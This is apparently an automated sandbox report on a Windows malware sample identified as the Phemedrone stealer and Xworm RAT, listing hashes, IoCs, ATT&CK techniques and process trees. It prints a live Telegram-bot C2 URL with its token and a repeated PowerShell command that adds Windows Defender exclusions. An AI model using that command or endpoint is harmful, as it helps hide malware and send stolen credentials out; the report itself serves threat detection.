phemedrone | b824428a19f5ea337430fcd7ca5cfaa67d58a5c27e6ae3e4d5688a85f85dbbde

General

Target

launcher.exe
Size

121KB
MD5

8356aac5412d5225bf9821d741134fa8
SHA1

9a511abb8f1ede32717302c52ef85b16d1f77702
SHA256

b824428a19f5ea337430fcd7ca5cfaa67d58a5c27e6ae3e4d5688a85f85dbbde
SHA512

a03f1f026ef9a08204b169091b3fc472a10c72e1057ebc706d47ec0d9528a51d2284e6b0a65dfcd0926a9b5ecc1bc64aa2912362bd638ac643c54f64fce9675c
SSDEEP

3072:Tkwn4I8IB14Lf5KoiWoS6vKWxVvZqBWHj0MW1Di/orr9lLsy:Ywx8emLf5K/nSiKW3vj0MW1WQ9lL

Score

10^/10

phemedrone xworm credential_access execution rat spyware stealer trojan

Malware Config

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot7093178471:AAF2vSzsv_7VHw_mw-hRkrEjGXZZ0VRp1-c/sendDocument

Signatures

Detect Xworm Payload 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\msedge.exe	family_xworm
behavioral1/memory/2552-22-0x0000000000330000-0x0000000000346000-memory.dmp	family_xworm
behavioral1/memory/2384-197-0x0000000000AE0000-0x0000000000AF6000-memory.dmp	family_xworm
behavioral1/memory/2952-354-0x0000000000080000-0x0000000000096000-memory.dmp	family_xworm

Phemedrone
An information and wallet stealer written in C#.
stealer phemedrone
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1240	powershell.exe
1860	powershell.exe
2356	powershell.exe
2868	powershell.exe
860	powershell.exe
2660	powershell.exe
2596	powershell.exe
3056	powershell.exe
2536	powershell.exe
2512	powershell.exe
2260	powershell.exe
2252	powershell.exe
2632	powershell.exe
2728	powershell.exe
2968	powershell.exe
1932	powershell.exe
1932	powershell.exe
2616	powershell.exe
2664	powershell.exe
836	powershell.exe
2704	powershell.exe
2788	powershell.exe
1156	powershell.exe
2932	powershell.exe
2356	powershell.exe
2500	powershell.exe
2412	powershell.exe
2572	powershell.exe
1160	powershell.exe
1608	powershell.exe
1856	powershell.exe
2472	powershell.exe
2024	powershell.exe
2864	powershell.exe
1688	powershell.exe
2024	powershell.exe
2512	powershell.exe
2364	powershell.exe
1048	powershell.exe
1564	powershell.exe
1916	powershell.exe
1968	powershell.exe
1028	powershell.exe
2756	powershell.exe
2052	powershell.exe
1552	powershell.exe
1968	powershell.exe
2136	powershell.exe
2140	powershell.exe
2644	powershell.exe
560	powershell.exe
1988	powershell.exe
1688	powershell.exe
1376	powershell.exe
1028	powershell.exe
2260	powershell.exe
2120	powershell.exe
1564	powershell.exe
3056	powershell.exe
1864	powershell.exe
2436	powershell.exe
1864	powershell.exe
1640	powershell.exe
2388	powershell.exe

Drops startup file 4 IoCs

Processes:

msedge.exemsedge.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 54 IoCs

Processes:

msedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exemsedge.exeOtupevi.exe

pid	process
2552	msedge.exe
1128	Otupevi.exe
1156	msedge.exe
2928	Otupevi.exe
348	msedge.exe
2456	Otupevi.exe
2812	msedge.exe
536	Otupevi.exe
2668	msedge.exe
2584	Otupevi.exe
1696	msedge.exe
2128	Otupevi.exe
1976	msedge.exe
2500	Otupevi.exe
1336	msedge.exe
560	Otupevi.exe
2384	msedge.exe
1904	msedge.exe
1964	Otupevi.exe
2932	msedge.exe
1300	Otupevi.exe
1560	msedge.exe
448	Otupevi.exe
3032	msedge.exe
2044	Otupevi.exe
2364	msedge.exe
2568	Otupevi.exe
2476	msedge.exe
1228	Otupevi.exe
632	msedge.exe
2620	Otupevi.exe
1624	msedge.exe
1092	Otupevi.exe
2644	msedge.exe
2852	Otupevi.exe
2252	msedge.exe
2444	Otupevi.exe
2660	msedge.exe
2672	Otupevi.exe
2952	msedge.exe
1796	msedge.exe
1744	Otupevi.exe
1384	msedge.exe
1564	Otupevi.exe
2516	msedge.exe
2160	Otupevi.exe
2712	msedge.exe
1536	Otupevi.exe
2472	msedge.exe
2060	Otupevi.exe
928	msedge.exe
2608	Otupevi.exe
2168	msedge.exe
1824	Otupevi.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com
39 ip-api.com
54 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2924 timeout.exe
860 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exe

pid process

2800 schtasks.exe
2724 schtasks.exe

flow	ioc
4	ip-api.com
39	ip-api.com
54	ip-api.com

pid	process
2924	timeout.exe
860	timeout.exe

pid	process
2800	schtasks.exe
2724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exeOtupevi.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeOtupevi.exe

pid	process
2744	powershell.exe
2660	powershell.exe
2596	powershell.exe
1128	Otupevi.exe
552	powershell.exe
1640	powershell.exe
2044	powershell.exe
2928	Otupevi.exe
2388	powershell.exe
560	powershell.exe
2260	powershell.exe
1556	powershell.exe
2024	powershell.exe
1988	powershell.exe
2664	powershell.exe
2456	Otupevi.exe
2864	powershell.exe
1240	powershell.exe
1688	powershell.exe
536	Otupevi.exe
2500	powershell.exe
1588	powershell.exe
3056	powershell.exe
2584	Otupevi.exe
3008	powershell.exe
2412	powershell.exe
2052	powershell.exe
2128	Otupevi.exe
2516	powershell.exe
1688	powershell.exe
904	powershell.exe
2500	Otupevi.exe
2572	powershell.exe
2024	powershell.exe
2632	powershell.exe
560	Otupevi.exe
2728	powershell.exe
2060	powershell.exe
1540	powershell.exe
1964	Otupevi.exe
836	powershell.exe
548	powershell.exe
2536	powershell.exe
1300	Otupevi.exe
2052	powershell.exe
2436	powershell.exe
1160	powershell.exe
448	Otupevi.exe
1564	powershell.exe
1376	powershell.exe
1508	powershell.exe
2044	Otupevi.exe
1860	powershell.exe
2512	powershell.exe
2704	powershell.exe
2568	Otupevi.exe
2148	powershell.exe
2756	powershell.exe
1812	powershell.exe
2052	powershell.exe
1916	powershell.exe
2120	powershell.exe
2512	powershell.exe
1228	Otupevi.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

launcher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exemsedge.exepowershell.exeOtupevi.exeLauncher.exepowershell.exepowershell.exemsedge.exe

description	pid	process
Token: SeDebugPrivilege	2036	launcher.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	2660	powershell.exe
Token: SeDebugPrivilege	2552	msedge.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	1128	Otupevi.exe
Token: SeDebugPrivilege	2788	Launcher.exe
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1156	msedge.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	2928	Otupevi.exe
Token: SeDebugPrivilege	768	Launcher.exe
Token: SeDebugPrivilege	2388	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	1556	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	348	msedge.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2456	Otupevi.exe
Token: SeDebugPrivilege	2552	msedge.exe
Token: SeDebugPrivilege	2540	Launcher.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	2812	msedge.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	536	Otupevi.exe
Token: SeDebugPrivilege	1640	Launcher.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	2668	msedge.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	2584	Otupevi.exe
Token: SeDebugPrivilege	1748	Launcher.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	1696	msedge.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	2128	Otupevi.exe
Token: SeDebugPrivilege	1632	Launcher.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	1976	msedge.exe
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	2500	Otupevi.exe
Token: SeDebugPrivilege	1780	Launcher.exe
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	1336	msedge.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	560	Otupevi.exe
Token: SeDebugPrivilege	2724	Launcher.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	2384	msedge.exe
Token: SeDebugPrivilege	1904	msedge.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	1964	Otupevi.exe
Token: SeDebugPrivilege	2100	Launcher.exe
Token: SeDebugPrivilege	836	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	2932	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

launcher.exeLauncher.exeOtupevi.exemsedge.exeLauncher.exe

description	pid	process	target process
PID 2036 wrote to memory of 2744	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2744	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2744	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2788	2036	launcher.exe	Launcher.exe
PID 2036 wrote to memory of 2788	2036	launcher.exe	Launcher.exe
PID 2036 wrote to memory of 2788	2036	launcher.exe	Launcher.exe
PID 2036 wrote to memory of 2660	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2660	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2660	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2552	2036	launcher.exe	msedge.exe
PID 2036 wrote to memory of 2552	2036	launcher.exe	msedge.exe
PID 2036 wrote to memory of 2552	2036	launcher.exe	msedge.exe
PID 2036 wrote to memory of 2596	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2596	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 2596	2036	launcher.exe	powershell.exe
PID 2036 wrote to memory of 1128	2036	launcher.exe	Otupevi.exe
PID 2036 wrote to memory of 1128	2036	launcher.exe	Otupevi.exe
PID 2036 wrote to memory of 1128	2036	launcher.exe	Otupevi.exe
PID 2788 wrote to memory of 552	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 552	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 552	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 768	2788	Launcher.exe	Launcher.exe
PID 2788 wrote to memory of 768	2788	Launcher.exe	Launcher.exe
PID 2788 wrote to memory of 768	2788	Launcher.exe	Launcher.exe
PID 2788 wrote to memory of 1640	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 1640	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 1640	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 1156	2788	Launcher.exe	msedge.exe
PID 2788 wrote to memory of 1156	2788	Launcher.exe	msedge.exe
PID 2788 wrote to memory of 1156	2788	Launcher.exe	msedge.exe
PID 2788 wrote to memory of 2044	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 2044	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 2044	2788	Launcher.exe	powershell.exe
PID 2788 wrote to memory of 2928	2788	Launcher.exe	Otupevi.exe
PID 2788 wrote to memory of 2928	2788	Launcher.exe	Otupevi.exe
PID 2788 wrote to memory of 2928	2788	Launcher.exe	Otupevi.exe
PID 1128 wrote to memory of 1736	1128	Otupevi.exe	WerFault.exe
PID 1128 wrote to memory of 1736	1128	Otupevi.exe	WerFault.exe
PID 1128 wrote to memory of 1736	1128	Otupevi.exe	WerFault.exe
PID 2552 wrote to memory of 2388	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 2388	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 2388	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 560	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 560	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 560	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 2260	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 2260	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 2260	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 1556	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 1556	2552	msedge.exe	powershell.exe
PID 2552 wrote to memory of 1556	2552	msedge.exe	powershell.exe
PID 768 wrote to memory of 2024	768	Launcher.exe	powershell.exe
PID 768 wrote to memory of 2024	768	Launcher.exe	powershell.exe
PID 768 wrote to memory of 2024	768	Launcher.exe	powershell.exe
PID 768 wrote to memory of 2540	768	Launcher.exe	Launcher.exe
PID 768 wrote to memory of 2540	768	Launcher.exe	Launcher.exe
PID 768 wrote to memory of 2540	768	Launcher.exe	Launcher.exe
PID 768 wrote to memory of 1988	768	Launcher.exe	powershell.exe
PID 768 wrote to memory of 1988	768	Launcher.exe	powershell.exe
PID 768 wrote to memory of 1988	768	Launcher.exe	powershell.exe
PID 768 wrote to memory of 348	768	Launcher.exe	msedge.exe
PID 768 wrote to memory of 348	768	Launcher.exe	msedge.exe
PID 768 wrote to memory of 348	768	Launcher.exe	msedge.exe
PID 768 wrote to memory of 2664	768	Launcher.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\launcher.exe
"C:\Users\Admin\AppData\Local\Temp\launcher.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2744

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:552

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2864

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2500

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3008

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:1780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2572

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
9⤵
- Suspicious use of AdjustPrivilegeToken
PID:2724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
10⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2728

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
10⤵
- Suspicious use of AdjustPrivilegeToken
PID:2100

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
11⤵
PID:2704

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
12⤵
- Suspicious behavior: EnumeratesProcesses
PID:2052

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
12⤵
PID:1344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1564

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
13⤵
PID:3048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
14⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1860

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
14⤵
PID:2916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
15⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1916

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
15⤵
PID:1552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
16⤵
- Command and Scripting Interpreter: PowerShell
PID:2968

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
16⤵
PID:2516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
17⤵
- Command and Scripting Interpreter: PowerShell
PID:1608

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
17⤵
PID:692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
18⤵
PID:1132

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
18⤵
PID:2832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
19⤵
PID:1536

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
19⤵
PID:1052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
20⤵
- Command and Scripting Interpreter: PowerShell
PID:2356

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
20⤵
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
21⤵
- Command and Scripting Interpreter: PowerShell
PID:1156

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
21⤵
PID:1028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
22⤵
- Command and Scripting Interpreter: PowerShell
PID:1932

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
22⤵
PID:2836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Launcher.exe'
23⤵
- Command and Scripting Interpreter: PowerShell
PID:2356

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
